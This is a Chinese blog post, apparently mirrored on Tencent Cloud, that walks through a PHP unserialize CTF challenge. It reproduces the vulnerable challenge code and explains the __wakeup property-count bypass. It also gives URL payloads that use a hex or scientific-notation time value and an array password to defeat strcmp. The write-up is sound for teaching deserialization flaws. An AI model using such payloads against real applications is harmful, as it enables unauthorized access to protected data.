前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Please don't stop rua 233333

Please don't stop rua 233333

作者头像
wywwzjj
发布2023-05-09 14:09:24
2840
发布2023-05-09 14:09:24
举报
文章被收录于专栏:wywwzjj 的技术博客

原题网址

代码语言:javascript
复制
<?php
class Time{
    public $flag = xxxxx;
    public $truepassword = xxxxx;
    public $time;
    public $password;
    public function construct($tt, $pp) {
        $this->time = $tt;
        $this->password = $pp;
    }
    function __destruct(){
    	if(!empty($this->password)) {
    		if(strcmp($this->password,$this->truepassword)==0){
    			echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
    			if(!empty($this->time)){
    				if(!is_numeric($this->time)){
    					echo 'Sorry.<br>';
    					show_source(__FILE__);
    				}
    				else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
    					echo 'you need a bigger time.<br>';
    				}
    				else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
    					echo 'you need a smaller time.<br>';
    				}
    				else{
    					sleep((int)$this->time);
    					var_dump($this->flag);
    				}
    				echo '<hr>';
    			}
    			else{
    				echo '<h1>you have no time!!!!!</h1><br>';
    			}
    		}
    		else{
    			echo '<h1>Password is wrong............</h1><br>';
    		}
    	}
    	else{
    		echo "<h1>Please input password..........</h1><br>";
    	}
    }
    function __wakeup(){
    	echo 'hello hacker,I have changed your password and time, rua!';
    }
}

if(isset($_GET['rua'])){
    //$test = new Time(1.275523920, array("a"));
    $rua = $_GET['rua'];
    @unserialize($rua);
}
else{
    echo "<h1>Please don't stop rua 233333</h1><br>";
}

稍稍记录一下,简单的反序列化。

何为序列化?

序列化对象 - 在会话中存放对象 ¶ 所有 php 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 php 原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。

序列化字符串格式:变量类型:变量长度:变量内容 例如序列化对象字符串:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

PHP 中的魔术方法(Magic methods)

代码语言:javascript
复制
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), 
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(),__debugInfo()

这里我们着重关注几个:

  • __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • __destruct():当对象被销毁时会自动调用。
  • __sleep():serialize() 会检查类中是否存在一个魔术方法 __sleep()。若存在,该方法会先被调用,再执行序列化操作
  • __wakeup():unserialize() 会检查是否存在一个 __wakeup() 方法。若存在,则先调用 __wakeup 方法,预先准备对象需要的资源。
  • __toString():用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

PHP 有个 Bug,该漏洞可以概括为:

当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行

代码语言:javascript
复制
rua=O:4:"Time":3:{

注意上面的 3 ,是属性数量,本来2个就够了。

16进制 0x 开头在强制转换中出现问题,导致转换成0

payload 如下:

代码语言:javascript
复制
rua=O:4:%22Time%22:4:{s:4:%22time%22;s:10:%220x4c06f350%22;s:8:%22password%22;a:2:{i:0;s:1:%22a%22;i:1;s:1:%22b%22;}}

还有一种办法:科学计数法绕过 sleep()

代码语言:javascript
复制
rua=O:4:"Time":3:{s:4:"time";s:5:"1.3e9";
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018/12/08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档